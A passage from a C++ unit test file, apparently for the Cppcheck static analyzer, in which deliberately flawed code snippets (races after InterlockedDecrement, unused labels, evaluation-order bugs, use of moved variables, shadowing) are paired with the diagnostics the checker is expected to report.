destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- 